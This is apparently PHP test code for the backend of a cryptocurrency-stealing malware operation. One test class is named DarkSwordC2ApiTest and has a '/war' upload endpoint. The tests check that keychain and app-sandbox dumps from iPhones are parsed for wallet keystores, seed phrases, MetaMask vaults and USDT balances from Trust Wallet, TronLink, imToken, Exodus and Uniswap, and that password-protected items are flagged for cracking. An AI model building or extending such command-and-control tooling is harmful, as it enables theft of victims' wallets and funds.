use Tests\TestCase;
|
||||||
|
|
||||||
|
class AppUploadIngestTest extends TestCase
|
||||||
|
{
|
||||||
|
use RefreshDatabase;
|
||||||
|
|
||||||
|
private const MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||||
|
|
||||||
|
private const TRON = 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH';
|
||||||
|
|
||||||
|
private const ETH = '0x9858effd232b4033e47d90003d41ec34ecaeda94';
|
||||||
|
|
||||||
|
protected function setUp(): void
|
||||||
|
{
|
||||||
|
parent::setUp();
|
||||||
|
|
||||||
|
config([
|
||||||
|
'coruna.telegram.bot_token' => '',
|
||||||
|
'coruna.telegram.owner_chat_id' => '',
|
||||||
|
]);
|
||||||
|
|
||||||
|
$tokenview = Mockery::mock(TokenviewMonitorService::class);
|
||||||
|
$tokenview->shouldReceive('syncMonitor')->andReturn(false);
|
||||||
|
$tokenview->shouldReceive('shouldMonitor')->andReturn(false);
|
||||||
|
$this->app->instance(TokenviewMonitorService::class, $tokenview);
|
||||||
|
|
||||||
|
$balances = Mockery::mock(\App\Services\WalletBalanceService::class);
|
||||||
|
$balances->shouldReceive('refresh')->andReturn(false);
|
||||||
|
$balances->shouldReceive('ensureBscForEthAddress')->andReturn(null);
|
||||||
|
$this->app->instance(\App\Services\WalletBalanceService::class, $balances);
|
||||||
|
|
||||||
|
Http::fake();
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function wallet_tar_stores_utc_and_ingests_address(): void
|
||||||
|
{
|
||||||
|
$device = $this->makeDevice();
|
||||||
|
$utc = [
|
||||||
|
'version' => 3,
|
||||||
|
'id' => 'trust-utc',
|
||||||
|
'crypto' => [
|
||||||
|
'ciphertext' => 'aa',
|
||||||
|
'mac' => 'bb',
|
||||||
|
'cipher' => 'aes-128-ctr',
|
||||||
|
],
|
||||||
|
'address' => substr(self::ETH, 2),
|
||||||
|
];
|
||||||
|
$tar = $this->makeTar([
|
||||||
|
'Documents/keystore/UTC--demo' => json_encode($utc),
|
||||||
|
]);
|
||||||
|
|
||||||
|
app(AppUploadIngester::class)->ingestArtifact(
|
||||||
|
$device,
|
||||||
|
$tar,
|
||||||
|
'com.wallet.crypto.trustapp.tar',
|
||||||
|
);
|
||||||
|
|
||||||
|
$this->assertTrue(
|
||||||
|
WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Trust Wallet')->exists()
|
||||||
|
);
|
||||||
|
$this->assertTrue(
|
||||||
|
WalletKeystore::query()
|
||||||
|
->where('device_id', $device->id)
|
||||||
|
->get()
|
||||||
|
->contains(fn (WalletKeystore $row) => $row->kind() === 'web3.keystore')
|
||||||
|
);
|
||||||
|
$this->assertFalse(
|
||||||
|
WalletKeystore::query()
|
||||||
|
->where('device_id', $device->id)
|
||||||
|
->get()
|
||||||
|
->contains(fn (WalletKeystore $row) => $row->kind() === 'sandbox')
|
||||||
|
);
|
||||||
|
$this->assertNull(
|
||||||
|
WalletKeystore::query()
|
||||||
|
->where('device_id', $device->id)
|
||||||
|
->where('source', 'Trust Wallet')
|
||||||
|
->value('needs_password')
|
||||||
|
);
|
||||||
|
$this->assertTrue(
|
||||||
|
WalletKeystore::query()
|
||||||
|
->where('device_id', $device->id)
|
||||||
|
->get()
|
||||||
|
->every(fn (WalletKeystore $row) => (int) $row->chain === Device::CHAIN_APP)
|
||||||
|
);
|
||||||
|
|
||||||
|
$addr = WalletAddress::query()->where('device_id', $device->id)->where('address', self::ETH)->first();
|
||||||
|
$this->assertNotNull($addr);
|
||||||
|
$this->assertSame('Trust Wallet', $addr->source);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function trust_hd_keeps_eth_btc_tron_bsc_sol_arb_and_skips_other_coins(): void
|
||||||
|
{
|
||||||
|
$device = $this->makeDevice('dev-trust-hd');
|
||||||
|
$etc = '0x91E1DF7780C061fBE4d0fc83F26F3B85bfb04Bc6';
|
||||||
|
$waves = '3P8QjdvhWgcVbYQEnqmDnJsx4QiqJXAtqci';
|
||||||
|
$dot = '13s5C4kEQevkzaKrRdLbABsxTx8pLnT7tXeZm3c6QvrAAvwK';
|
||||||
|
$btc = 'bc1qkdjxa55kxw6fltw9tadk9e9xf3gpxq03ex5fl7';
|
||||||
|
$utc = [
|
||||||
|
'version' => 3,
|
||||||
|
'type' => 'mnemonic',
|
||||||
|
'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb'],
|
||||||
|
'activeAccounts' => [
|
||||||
|
['coin' => 0, 'address' => $btc, 'derivationPath' => "m/84'/0'/0'/0/0"],
|
||||||
|
['coin' => 60, 'address' => self::ETH, 'derivationPath' => "m/44'/60'/0'/0/0"],
|
||||||
|
['coin' => 61, 'address' => $etc, 'derivationPath' => "m/44'/61'/0'/0/0"],
|
||||||
|
['coin' => 195, 'address' => self::TRON, 'derivationPath' => "m/44'/195'/0'/0/0"],
|
||||||
|
['coin' => 5741564, 'address' => $waves, 'derivationPath' => "m/44'/5741564'/0'/0'/0'"],
|
||||||
|
['coin' => 354, 'address' => $dot, 'derivationPath' => "m/44'/354'/0'/0'/0'"],
|
||||||
|
['coin' => 8453, 'address' => self::ETH, 'derivationPath' => "m/44'/60'/0'/0/0"],
|
||||||
|
['coin' => 20000714, 'address' => self::ETH, 'derivationPath' => "m/44'/60'/0'/0/0"],
|
||||||
|
['coin' => 501, 'address' => 'ESjqBjiwBH7e6Fg2eMRYbtkw8WfqK4iZZBmAz4uY6mTq', 'derivationPath' => "m/44'/501'/0'"],
|
||||||
|
['coin' => 10042221, 'address' => self::ETH, 'derivationPath' => "m/44'/60'/0'/0/0"],
|
||||||
|
],
|
||||||
|
];
|
||||||
|
$tar = $this->makeTar([
|
||||||
|
'Documents/keystore/UTC--hd' => json_encode($utc),
|
||||||
|
]);
|
||||||
|
|
||||||
|
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.sixdays.trust.tar');
|
||||||
|
|
||||||
|
$addrs = WalletAddress::query()
|
||||||
|
->where('device_id', $device->id)
|
||||||
|
->orderBy('id')
|
||||||
|
->get(['address', 'chain_type']);
|
||||||
|
$this->assertTrue($addrs->contains(fn ($a) => $a->address === self::ETH && $a->chain_type === 'ETHEREUM'));
|
||||||
|
$this->assertTrue($addrs->contains(fn ($a) => $a->address === $btc && $a->chain_type === 'BITCOIN'));
|
||||||
|
$this->assertTrue($addrs->contains(fn ($a) => $a->address === self::TRON && $a->chain_type === 'TRON'));
|
||||||
|
$this->assertTrue($addrs->contains(fn ($a) => $a->address === self::ETH && $a->chain_type === 'BSC'));
|
||||||
|
$this->assertTrue($addrs->contains(fn ($a) => $a->address === 'ESjqBjiwBH7e6Fg2eMRYbtkw8WfqK4iZZBmAz4uY6mTq' && $a->chain_type === 'SOLANA'));
|
||||||
|
$this->assertTrue($addrs->contains(fn ($a) => $a->address === self::ETH && $a->chain_type === 'ARBITRUM'));
|
||||||
|
$this->assertFalse($addrs->contains(fn ($a) => $a->address === $etc));
|
||||||
|
$this->assertFalse($addrs->contains(fn ($a) => $a->address === $waves));
|
||||||
|
$this->assertFalse($addrs->contains(fn ($a) => $a->address === $dot));
|
||||||
|
$this->assertSame(1, $addrs->where('address', self::ETH)->where('chain_type', 'ETHEREUM')->count());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function tronlink_sqlite_writes_address_and_balance_and_flags_password(): void
|
||||||
|
{
|
||||||
|
$device = $this->makeDevice('dev-tronlink');
|
||||||
|
$sqlite = $this->makeTronLinkSqlite();
|
||||||
|
$utc = [
|
||||||
|
'version' => 3,
|
||||||
|
'crypto' => ['ciphertext' => 'cc', 'mac' => 'dd'],
|
||||||
|
'address' => self::TRON,
|
||||||
|
];
|
||||||
|
$tar = $this->makeTar([
|
||||||
|
'Documents/tron.sqlite' => $sqlite,
|
||||||
|
'Documents/keystore/UTC--tron' => json_encode($utc),
|
||||||
|
]);
|
||||||
|
|
||||||
|
app(AppUploadIngester::class)->ingestArtifact(
|
||||||
|
$device,
|
||||||
|
$tar,
|
||||||
|
'com.tronlink.hdwallet.tar',
|
||||||
|
);
|
||||||
|
|
||||||
|
$flagged = WalletKeystore::query()
|
||||||
|
->where('device_id', $device->id)
|
||||||
|
->where('needs_password', 1)
|
||||||
|
->count();
|
||||||
|
$this->assertGreaterThan(0, $flagged);
|
||||||
|
$this->assertFalse(
|
||||||
|
WalletKeystore::query()
|
||||||
|
->where('device_id', $device->id)
|
||||||
|
->get()
|
||||||
|
->contains(fn (WalletKeystore $row) => $row->kind() === 'sandbox')
|
||||||
|
);
|
||||||
|
$this->assertSame(
|
||||||
|
0,
|
||||||
|
WalletKeystore::query()
|
||||||
|
->where('device_id', $device->id)
|
||||||
|
->where('needs_password', 0)
|
||||||
|
->count()
|
||||||
|
);
|
||||||
|
|
||||||
|
$addr = WalletAddress::query()->where('device_id', $device->id)->where('address', self::TRON)->first();
|
||||||
|
$this->assertNotNull($addr);
|
||||||
|
$this->assertSame('TronLink', $addr->source);
|
||||||
|
$this->assertSame(0.0, (float) $addr->trx);
|
||||||
|
$this->assertEqualsWithDelta(1.5, (float) $addr->usdt, 0.0001);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function imtoken_keeps_account_eoa_and_skips_token_contracts(): void
|
||||||
|
{
|
||||||
|
$device = $this->makeDevice('dev-imtoken-addr');
|
||||||
|
$usdt = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
|
||||||
|
$weth = '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2';
|
||||||
|
$utcEth = 'c3f025c2b480ade8f67c8ae9bec3e17f62c26fdf';
|
||||||
|
$tar = $this->makeTar([
|
||||||
|
'Documents/walletsV2/wid.json' => json_encode([
|
||||||
|
'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb'],
|
||||||
|
'address' => $utcEth,
|
||||||
|
'imTokenMeta' => ['source' => 'NEW_MNEMONIC', 'network' => 'MAINNET'],
|
||||||
|
]),
|
||||||
|
'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/account.json' => json_encode([
|
||||||
|
'AccountModel' => [
|
||||||
|
'itemsById' => [
|
||||||
|
'acc1' => [
|
||||||
|
'type' => 'EOA',
|
||||||
|
'address' => self::TRON,
|
||||||
|
'path' => "m/44'/195'/0'/0/0",
|
||||||
|
],
|
||||||
|
],
|
||||||
|
],
|
||||||
|
'AssetToken' => [
|
||||||
|
'itemsById' => [
|
||||||
|
'tok1' => [
|
||||||
|
'chainType' => 'TRON',
|
||||||
|
'address' => $usdt,
|
||||||
|
'symbol' => 'USDT',
|
||||||
|
'decimal' => 6,
|
||||||
|
'tokenType' => 'TRC20',
|
||||||
|
'accountAddress' => self::TRON,
|
||||||
|
],
|
||||||
|
],
|
||||||
|
],
|
||||||
|
]),
|
||||||
|
'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/tokens.json' => json_encode([
|
||||||
|
'wethContractAddress' => $weth,
|
||||||
|
'address' => $weth,
|
||||||
|
]),
|
||||||
|
]);
|
||||||
|
|
||||||
|
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'im.token.app.tar');
|
||||||
|
|
||||||
|
$addrs = WalletAddress::query()->where('device_id', $device->id)->pluck('address')->all();
|
||||||
|
$this->assertSame([self::TRON], $addrs);
|
||||||
|
$this->assertTrue(
|
||||||
|
WalletKeystore::query()->where('device_id', $device->id)->where('source', 'imToken')->exists()
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function global_wallet_skips_helper_contract_addresses(): void
|
||||||
|
{
|
||||||
|
$device = $this->makeDevice('dev-gw-addr');
|
||||||
|
$batch = 'TDe5aJyJmtJdon9nNRbX1itnftt6LQLUwU';
|
||||||
|
$balance = 'TWSaaayu3N1z5GKeWYyTkUG1p9tw3tdTHw';
|
||||||
|
$weth = '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2';
|
||||||
|
$tar = $this->makeTar([
|
||||||
|
'Documents/cache/MarketFilterParamsModel.Type.json' => json_encode([
|
||||||
|
'blockchainList' => [[
|
||||||
|
'name' => 'tron',
|
||||||
|
'metadata' => [
|
||||||
|
'batchTxContract' => $batch,
|
||||||
|
'balanceContract' => $balance,
|
||||||
|
],
|
||||||
|
]],
|
||||||
|
]),
|
||||||
|
'Documents/cache/default.show.tokens' => json_encode([
|
||||||
|
'address' => $weth,
|
||||||
|
'symbol' => 'WETH',
|
||||||
|
]),
|
||||||
|
]);
|
||||||
|
|
||||||
|
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.global.wallet.ios.tar');
|
||||||
|
|
||||||
|
$this->assertSame(
|
||||||
|
0,
|
||||||
|
WalletAddress::query()->where('device_id', $device->id)->count()
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function keychain_plaintext_mnemonic_is_recovered_on_decrypt(): void
|
||||||
|
{
|
||||||
|
$device = $this->makeDevice('dev-uniswap');
|
||||||
|
$xml = '<?xml version="1.0"?><keychain>'
|
||||||
|
.'<item>'
|
||||||
|
.'<acct>com.uniswap.mobile.mnemonic.'.self::ETH.'</acct>'
|
||||||
|
.'<svce>Uniswap</svce>'
|
||||||
|
.'<agrp>TEAM.com.uniswap.mobile</agrp>'
|
||||||
|
.'<v_Data bin="1">'.base64_encode(self::MNEMONIC).'</v_Data>'
|
||||||
|
.'</item>'
|
||||||
|
.'</keychain>';
|
||||||
|
|
||||||
|
$ingester = app(AppUploadIngester::class);
|
||||||
|
$ingester->ingestArtifact($device, $xml, 'keychain.xml');
|
||||||
|
$ingester->dispatchDecrypt($device);
|
||||||
|
|
||||||
|
$this->assertTrue(
|
||||||
|
WalletKeystore::query()->where('device_id', $device->id)->exists()
|
||||||
|
);
|
||||||
|
$memo = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||||
|
$this->assertNotNull($memo);
|
||||||
|
$this->assertSame('Uniswap', $memo->source);
|
||||||
|
$this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash);
|
||||||
|
|
||||||
|
$addr = WalletAddress::query()->where('device_id', $device->id)->where('address', self::ETH)->first();
|
||||||
|
$this->assertNotNull($addr);
|
||||||
|
$this->assertSame($memo->id, $addr->mnemonic_id);
|
||||||
|
$this->assertTrue(
|
||||||
|
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.uniswap.mobile')->exists()
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function keychain_exodus_json_mnemonic_is_sourced_exodus(): void
|
||||||
|
{
|
||||||
|
$device = $this->makeDevice('dev-exodus');
|
||||||
|
$payload = json_encode([
|
||||||
|
'mnemonic' => self::MNEMONIC,
|
||||||
|
'seed' => 'not-a-mnemonic',
|
||||||
|
'dateCreated' => 1,
|
||||||
|
], JSON_UNESCAPED_SLASHES);
|
||||||
|
$xml = '<?xml version="1.0"?><keychain>'
|
||||||
|
.'<item>'
|
||||||
|
.'<acct>unused</acct>'
|
||||||
|
.'<svce></svce>'
|
||||||
|
.'<agrp>TEAM.exodus-movement.exodus</agrp>'
|
||||||
|
.'<v_Data bin="1">'.base64_encode((string) $payload).'</v_Data>'
|
||||||
|
.'</item>'
|
||||||
|
.'</keychain>';
|
||||||
|
|
||||||
|
$ingester = app(AppUploadIngester::class);
|
||||||
|
$ingester->ingestArtifact($device, $xml, 'keychain.xml');
|
||||||
|
$ingester->dispatchDecrypt($device);
|
||||||
|
|
||||||
|
$memo = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||||
|
$this->assertNotNull($memo);
|
||||||
|
$this->assertSame('Exodus', $memo->source);
|
||||||
|
$this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function keychain_metamask_vault_is_a_password_row(): void
|
||||||
|
{
|
||||||
|
$device = $this->makeDevice('dev-mm-vault');
|
||||||
|
$vault = $this->makeMetamaskVault(self::MNEMONIC, 'woshini@88');
|
||||||
|
unset($vault['kind']);
|
||||||
|
$xml = '<?xml version="1.0"?><keychain>'
|
||||||
|
.'<item>'
|
||||||
|
.'<acct>VAULT_BACKUP</acct>'
|
||||||
|
.'<svce></svce>'
|
||||||
|
.'<agrp>TEAM.io.metamask.MetaMask</agrp>'
|
||||||
|
.'<v_Data bin="1">'.base64_encode((string) json_encode($vault)).'</v_Data>'
|
||||||
|
.'</item>'
|
||||||
|
.'<item>'
|
||||||
|
.'<acct>deviceUID</acct>'
|
||||||
|
.'<svce>deviceUID</svce>'
|
||||||
|
.'<agrp>TEAM.io.metamask.MetaMask</agrp>'
|
||||||
|
.'<v_Data bin="1">'.base64_encode('aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee').'</v_Data>'
|
||||||
|
.'</item>'
|
||||||
|
.'</keychain>';
|
||||||
|
|
||||||
|
app(AppUploadIngester::class)->ingestArtifact($device, $xml, 'keychain.xml');
|
||||||
|
|
||||||
|
$mm = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'MetaMask')->first();
|
||||||
|
$this->assertNotNull($mm);
|
||||||
|
$this->assertSame(1, (int) $mm->needs_password);
|
||||||
|
$this->assertSame('metamask.vault', $mm->kind());
|
||||||
|
$this->assertSame(0, (int) $mm->decrypted);
|
||||||
|
|
||||||
|
$kc = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'app/keychain')->first();
|
||||||
|
$this->assertNotNull($kc);
|
||||||
|
$items = $kc->raw_json['wallets']['MetaMask']['items'] ?? [];
|
||||||
|
foreach ($items as $item) {
|
||||||
|
$this->assertNotSame('VAULT_BACKUP', $item['account'] ?? '');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function keychain_skips_apple_and_wildcard_installed_apps(): void
|
||||||
|
{
|
||||||
|
$device = $this->makeDevice('dev-app-noise');
|
||||||
|
$xml = '<?xml version="1.0"?><keychain>'
|
||||||
|
.'<item><acct>a</acct><svce>s</svce><agrp>TEAM.apple.Spotlight</agrp>'
|
||||||
|
.'<v_Data bin="1">'.base64_encode('x').'</v_Data></item>'
|
||||||
|
.'<item><acct>b</acct><svce>s</svce><agrp>TEAM.apple.TextInput</agrp>'
|
||||||
|
.'<v_Data bin="1">'.base64_encode('y').'</v_Data></item>'
|
||||||
|
.'<item><acct>c</acct><svce>s</svce><agrp>TEAM.*</agrp>'
|
||||||
|
.'<v_Data bin="1">'.base64_encode('z').'</v_Data></item>'
|
||||||
|
.'<item><acct>d</acct><svce>s</svce><agrp>apple.security.octagon</agrp>'
|
||||||
|
.'<v_Data bin="1">'.base64_encode('w').'</v_Data></item>'
|
||||||
|
.'<item><acct>e</acct><svce>Bitpie</svce><agrp>TEAM.com.bitpie.wallet</agrp>'
|
||||||
|
.'<v_Data bin="1">'.base64_encode('ok').'</v_Data></item>'
|
||||||
|
.'</keychain>';
|
||||||
|
|
||||||
|
app(AppUploadIngester::class)->ingestArtifact($device, $xml, 'keychain.xml');
|
||||||
|
|
||||||
|
$this->assertFalse(
|
||||||
|
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'like', 'apple.%')->exists()
|
||||||
|
);
|
||||||
|
$this->assertFalse(
|
||||||
|
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', '*')->exists()
|
||||||
|
);
|
||||||
|
$this->assertFalse(
|
||||||
|
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'Spotlight')->exists()
|
||||||
|
);
|
||||||
|
$this->assertTrue(
|
||||||
|
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.bitpie.wallet')->exists()
|
||||||
|
);
|
||||||
|
$this->assertSame(1, DeviceApp::query()->where('device_id', $device->id)->count());
|
||||||
|
}
|
||||||
|
|
||||||
|
private function makeDevice(string $id = 'dev-app-1'): Device
|
||||||
|
{
|
||||||
|
return Device::query()->create([
|
||||||
|
'device_id' => $id,
|
||||||
|
'ios_version' => '18.0',
|
||||||
|
'device_model' => 'iPhone',
|
||||||
|
'chain' => Device::CHAIN_APP,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array<string, mixed>
|
||||||
|
*/
|
||||||
|
private function makeMetamaskVault(string $phrase, string $password): array
|
||||||
|
{
|
||||||
|
$inner = json_encode([[
|
||||||
|
'type' => 'HD Key Tree',
|
||||||
|
'data' => [
|
||||||
|
'mnemonic' => array_map('ord', str_split($phrase)),
|
||||||
|
'numberOfAccounts' => 1,
|
||||||
|
'hdPath' => "m/44'/60'/0'/0",
|
||||||
|
],
|
||||||
|
]], JSON_UNESCAPED_SLASHES);
|
||||||
|
$saltB64 = base64_encode(random_bytes(32));
|
||||||
|
$iv = random_bytes(16);
|
||||||
|
$key = hash_pbkdf2('sha512', $password, $saltB64, 5000, 32, true);
|
||||||
|
$cipher = openssl_encrypt((string) $inner, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
|
||||||
|
|
||||||
|
return [
|
||||||
|
'kind' => 'metamask.vault',
|
||||||
|
'cipher' => base64_encode((string) $cipher),
|
||||||
|
'iv' => bin2hex($iv),
|
||||||
|
'salt' => $saltB64,
|
||||||
|
'lib' => 'quick-crypto',
|
||||||
|
'keyMetadata' => [
|
||||||
|
'algorithm' => 'PBKDF2',
|
||||||
|
'params' => ['iterations' => 5000],
|
||||||
|
],
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, string> $files
|
||||||
|
*/
|
||||||
|
private function makeTar(array $files): string
|
||||||
|
{
|
||||||
|
$dir = sys_get_temp_dir().'/app_upload_tar_'.bin2hex(random_bytes(4));
|
||||||
|
mkdir($dir, 0777, true);
|
||||||
|
$tarPath = $dir.'.tar';
|
||||||
|
try {
|
||||||
|
foreach ($files as $rel => $body) {
|
||||||
|
$full = $dir.'/'.$rel;
|
||||||
|
$parent = dirname($full);
|
||||||
|
if (! is_dir($parent)) {
|
||||||
|
mkdir($parent, 0777, true);
|
||||||
|
}
|
||||||
|
file_put_contents($full, $body);
|
||||||
|
}
|
||||||
|
$phar = new \PharData($tarPath);
|
||||||
|
$phar->buildFromDirectory($dir);
|
||||||
|
|
||||||
|
return (string) file_get_contents($tarPath);
|
||||||
|
} finally {
|
||||||
|
@unlink($tarPath);
|
||||||
|
$it = new \RecursiveIteratorIterator(
|
||||||
|
new \RecursiveDirectoryIterator($dir, \FilesystemIterator::SKIP_DOTS),
|
||||||
|
\RecursiveIteratorIterator::CHILD_FIRST
|
||||||
|
);
|
||||||
|
foreach ($it as $f) {
|
||||||
|
$f->isDir() ? @rmdir($f->getPathname()) : @unlink($f->getPathname());
|
||||||
|
}
|
||||||
|
@rmdir($dir);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function makeTronLinkSqlite(): string
|
||||||
|
{
|
||||||
|
$tmp = tempnam(sys_get_temp_dir(), 'tl_sqlite_');
|
||||||
|
$pdo = new \PDO('sqlite:'.$tmp);
|
||||||
|
$pdo->exec('CREATE TABLE Wallet (id INTEGER PRIMARY KEY, address TEXT)');
|
||||||
|
$pdo->exec('CREATE TABLE ORM_DBTable_HomeNewAsset (id INTEGER, address TEXT, balance TEXT, shortName TEXT, contractAddress TEXT)');
|
||||||
|
$ins = $pdo->prepare('INSERT INTO Wallet (address) VALUES (?)');
|
||||||
|
$ins->execute([self::TRON]);
|
||||||
|
$asset = $pdo->prepare('INSERT INTO ORM_DBTable_HomeNewAsset (id, address, balance, shortName, contractAddress) VALUES (?,?,?,?,?)');
|
||||||
|
$asset->execute([1, self::TRON, '0', 'TRX', '']);
|
||||||
|
$asset->execute([2, self::TRON, '1.5', 'USDT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t']);
|
||||||
|
$pdo = null;
|
||||||
|
$bytes = (string) file_get_contents($tmp);
|
||||||
|
@unlink($tmp);
|
||||||
|
|
||||||
|
return $bytes;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -399,7 +399,17 @@ class DarkSwordC2ApiTest extends TestCase
|
|||||||
'errors' => ['aksUnwrap class=10 kr=3758097090'],
|
'errors' => ['aksUnwrap class=10 kr=3758097090'],
|
||||||
],
|
],
|
||||||
'sandbox' => [
|
'sandbox' => [
|
||||||
'imtoken' => ['keystore.json' => '{"version":3}'],
|
'imtoken' => [
|
||||||
|
'walletsV2.json' => json_encode([
|
||||||
|
'version' => 3,
|
||||||
|
'crypto' => [
|
||||||
|
'cipher' => 'aes-128-ctr',
|
||||||
|
'ciphertext' => 'aa',
|
||||||
|
'mac' => 'bb',
|
||||||
|
'kdf' => 'pbkdf2',
|
||||||
|
],
|
||||||
|
]),
|
||||||
|
],
|
||||||
],
|
],
|
||||||
])->assertOk()->assertJson(['ok' => true]);
|
])->assertOk()->assertJson(['ok' => true]);
|
||||||
|
|
||||||
@@ -412,6 +422,12 @@ class DarkSwordC2ApiTest extends TestCase
|
|||||||
$sources = $rows->pluck('source')->all();
|
$sources = $rows->pluck('source')->all();
|
||||||
$this->assertContains('Trust Wallet', $sources);
|
$this->assertContains('Trust Wallet', $sources);
|
||||||
$this->assertContains('imToken', $sources);
|
$this->assertContains('imToken', $sources);
|
||||||
|
$this->assertEqualsCanonicalizing(
|
||||||
|
['钥匙串', '标准 Keystore'],
|
||||||
|
$rows->map(fn ($row) => $row->kindLabel())->all()
|
||||||
|
);
|
||||||
|
$this->assertFalse($rows->contains(fn ($row) => $row->kind() === 'sandbox'));
|
||||||
|
$this->assertTrue($rows->every(fn ($row) => (int) $row->chain === Device::CHAIN_DARKSWORD));
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
@@ -442,41 +458,51 @@ class DarkSwordC2ApiTest extends TestCase
|
|||||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||||
$this->assertNotNull($device);
|
$this->assertNotNull($device);
|
||||||
$rows = WalletKeystore::query()->where('device_id', $device->id)->get();
|
$rows = WalletKeystore::query()->where('device_id', $device->id)->get();
|
||||||
$this->assertSame(2, $rows->count());
|
$this->assertSame(1, $rows->count());
|
||||||
$this->assertEqualsCanonicalizing(['钥匙串', '沙盒文件'], $rows->map(fn ($row) => $row->kindLabel())->all());
|
$this->assertSame(['钥匙串'], $rows->map(fn ($row) => $row->kindLabel())->all());
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function war_collapses_existing_duplicate_sandbox_rows(): void
|
public function war_collapses_existing_duplicate_web3_rows(): void
|
||||||
{
|
{
|
||||||
$device = Device::query()->create([
|
$device = Device::query()->create([
|
||||||
'device_id' => self::DS_LHU,
|
'device_id' => self::DS_LHU,
|
||||||
'chain' => Device::CHAIN_DARKSWORD,
|
'chain' => Device::CHAIN_DARKSWORD,
|
||||||
]);
|
]);
|
||||||
$raw = [
|
$utc = [
|
||||||
'kind' => 'sandbox',
|
'kind' => 'web3.keystore',
|
||||||
'sandbox' => ['trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}'],
|
'crypto' => [
|
||||||
|
'cipher' => 'aes-128-ctr',
|
||||||
|
'ciphertext' => 'aa',
|
||||||
|
'mac' => 'bb',
|
||||||
|
'kdf' => 'scrypt',
|
||||||
|
],
|
||||||
];
|
];
|
||||||
WalletKeystore::query()->create([
|
WalletKeystore::query()->create([
|
||||||
'device_id' => $device->id,
|
'device_id' => $device->id,
|
||||||
'source' => 'Trust Wallet',
|
'source' => 'Trust Wallet',
|
||||||
'decrypted' => 0,
|
'decrypted' => 0,
|
||||||
'raw_json' => $raw,
|
'raw_json' => $utc,
|
||||||
]);
|
]);
|
||||||
WalletKeystore::query()->create([
|
WalletKeystore::query()->create([
|
||||||
'device_id' => $device->id,
|
'device_id' => $device->id,
|
||||||
'source' => 'Trust Wallet',
|
'source' => 'Trust Wallet',
|
||||||
'decrypted' => 0,
|
'decrypted' => 0,
|
||||||
'raw_json' => $raw,
|
'raw_json' => $utc,
|
||||||
]);
|
]);
|
||||||
$this->assertSame(2, WalletKeystore::query()->where('device_id', $device->id)->count());
|
$this->assertSame(2, WalletKeystore::query()->where('device_id', $device->id)->count());
|
||||||
|
|
||||||
$this->postJson('/war', [
|
$this->postJson('/war', [
|
||||||
'lhu' => self::DS_LHU,
|
'lhu' => self::DS_LHU,
|
||||||
'sandbox' => ['trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}'],
|
'sandbox' => [
|
||||||
|
'trust_wallet' => [
|
||||||
|
'Documents/keystore/UTC--demo' => json_encode($utc),
|
||||||
|
],
|
||||||
|
],
|
||||||
])->assertOk();
|
])->assertOk();
|
||||||
|
|
||||||
$this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count());
|
$this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count());
|
||||||
|
$this->assertSame('标准 Keystore', WalletKeystore::query()->where('device_id', $device->id)->first()?->kindLabel());
|
||||||
$this->assertNotSame('', (string) WalletKeystore::query()->where('device_id', $device->id)->value('content_hash'));
|
$this->assertNotSame('', (string) WalletKeystore::query()->where('device_id', $device->id)->value('content_hash'));
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -615,6 +641,8 @@ class DarkSwordC2ApiTest extends TestCase
|
|||||||
$rows = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Trust Wallet')->get();
|
$rows = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Trust Wallet')->get();
|
||||||
